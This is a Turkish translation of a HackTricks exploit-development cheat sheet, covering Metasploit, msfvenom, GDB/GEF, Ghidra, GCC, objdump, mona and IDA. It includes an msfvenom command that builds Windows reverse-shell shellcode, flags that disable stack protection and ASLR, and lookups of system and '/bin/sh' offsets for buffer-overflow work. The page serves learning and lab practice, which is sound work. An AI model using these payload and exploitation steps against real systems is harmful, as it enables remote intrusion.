# Sömürü Araçları
Sıfırdan kahraman olmaya kadar AWS hackleme konusunda öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
## Metasploit ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` ### Kabuk Kodları ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` ## GDB ### Kurulum ``` apt-get install gdb ``` ### Parametreler ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` ### Talimatlar ```bash run # Execute start # Start and break in main n/next/ni # Execute next instruction (no inside) s/step/si # Execute next instruction c/continue # Continue until next breakpoint p system # Find the address of the system function set $eip = 0x12345678 # Change value of $eip help # Get help quit # exit # Disassemble disassemble main # Disassemble the function called main disassemble 0x12345678 # Disassemble taht address set disassembly-flavor intel # Use intel syntax set follow-fork-mode child/parent # Follow child/parent process # Breakpoints br func # Add breakpoint to function br *func+23 br *0x12345678 del # Delete that number of breakpoint watch EXPRESSION # Break if the value changes # info info functions --> Info abount functions info functions func --> Info of the funtion info registers --> Value of the registers bt # Backtrace Stack bt full # Detailed stack print variable print 0x87654321 - 0x12345678 # Caculate # x/examine examine/ dir_mem/reg/puntero # Shows content of in where each entry is a x/o 0xDir_hex x/2x $eip # 2Words from EIP x/2x $eip -4 # $eip - 4 x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) i r eip # Value of $eip x/w pointer # Value of the pointer x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) ```bash help memory # Get help on memory command canary # Search for canary value in memory checksec #Check protections p system #Find system function address search-pattern "/bin/sh" #Search in the process memory vmmap #Get memory mappings xinfo # Shows page, size, perms, memory area and offset of the addr in the page memory watch 0x784000 0x1000 byte #Add a view always showinf this memory got #Check got table memory watch $_got()+0x18 5 #Watch a part of the got table # Vulns detection format-string-helper #Detect insecure format strings heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp #Shellcode shellcode search x86 #Search shellcodes shellcode get 61 #Download shellcode number 61 #Another way to get the offset of to the RIP 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 called by frame at 0x7fffffffddd8 Arglist at 0x7fffffffdcf8, args: Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Saved registers: rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ### İpuçları #### GDB aynı adresler Hata ayıklama yaparken GDB, **yürütüldüğünde ikili tarafından kullanılan adreslerden biraz farklı olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlayabilirsiniz: * `unset env LINES` * `unset env COLUMNS` * `set env _=` _İkili dosyanın mutlak yolunu ekleyin_ * Aynı mutlak yolu kullanarak ikili dosyayı sömürün * GDB'yi kullanırken ve ikili dosyayı sömürürken `PWD` ve `OLDPWD` aynı olmalıdır #### Çağrılan fonksiyonları bulmak için geri izleme **Statik olarak bağlanmış bir ikili dosyanız** olduğunda, tüm fonksiyonlar ikili dosyaya ait olacaktır (ve harici kütüphanelere değil). Bu durumda, örneğin kullanıcı girdisi istemek için ikilinin izlediği akışı **tanımlamak zor olacaktır**.\ Bu akışı kolayca tanımlayabilirsiniz **gdb** ile ikili dosyayı **çalıştırarak** girdi istendiğinde durdurun. Ardından, **CTRL+C** ile durdurun ve **`bt`** (**geri izleme**) komutunu kullanarak çağrılan fonksiyonları görebilirsiniz: ``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ### GDB sunucusu `gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki yürütülebilir dosyanın mutlak yolunu ve Windows makinesindeki yürütülebilir dosyanın mutlak yolunu doldurmanız gerekmektedir) ## Ghidra ### Yığın ofsetini bulma **Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir **tampon taşması için **ofseti bulmak için çok yararlıdır.**\ Örneğin, aşağıdaki örnekte, `local_bc` içinde bir tampon taşması, `0xbc` ofsetine ihtiyacınız olduğunu gösterir. Dahası, `local_10` bir canary çerezi ise, `local_bc`'den üzerine yazmak için `0xac` ofseti olduğunu gösterir.\ _RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._ ![](<../../.gitbook/assets/image (616).png>) ## GCC **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\ **-o** --> Çıktı\ **-g** --> Kodu kaydet (GDB bunu görebilecek)\ **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux'ta ASLR'yi devre dışı bırakmak için **Bir kabuk kodunu derlemek için:**\ **nasm -f elf assembly.asm** --> ".o" döndürür\ **ld assembly.o -o shellcodeout** --> Yürütülebilir dosya ## Objdump **-d** --> **Yürütülebilir** bölümleri (derlenmiş bir kabuk kodunun opcodes'larını görmek, ROP Gadgets'ları bulmak, işlev adreslerini bulmak için)\ **-Mintel** --> **Intel** sözdizimi\ **-t** --> **Semboller** tablosu\ **-D** --> **Tümünü** yürüt (statik değişkenin adresi)\ **-s -j .dtors** --> dtors bölümü\ **-s -j .got** --> got bölümü\ \-D -s -j .plt --> **plt** bölümü **çözümlenmiş**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'ta değiştirilecek "puts" adresi\ **objdump -D ./exec | grep "VAR\_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır). ## Çekirdek dökümleri 1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın 2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın 3. `sudo gdb --core=\ --quiet` çalıştırın ## Daha Fazla **ldd yürütülebilir | grep libc.so.6** --> Adres (ASLR ise, bu her seferinde değişir)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"ın ofseti\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"nin ofseti **strace executable** --> Yürütülebilir tarafından çağrılan işlevler\ **rabin2 -i ejecutable -->** Tüm işlevlerin adresi ## **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` ## IDA ### Uzaktan linux'ta hata ayıklama IDA klasörü içinde, bir linux içinde bir ikili dosyayı hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunun için _linux\_server_ veya _linux\_server64_ ikili dosyasını linux sunucusuna taşıyın ve ikili dosyayı içeren klasörde çalıştırın: ``` ./linux_server64 -Ppass ``` Sonra, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (uzaktan linux) --> İşlem seçenekleri...: ![](<../../.gitbook/assets/image (101).png>)
Sıfırdan kahraman olana kadar AWS hackleme konusunda öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.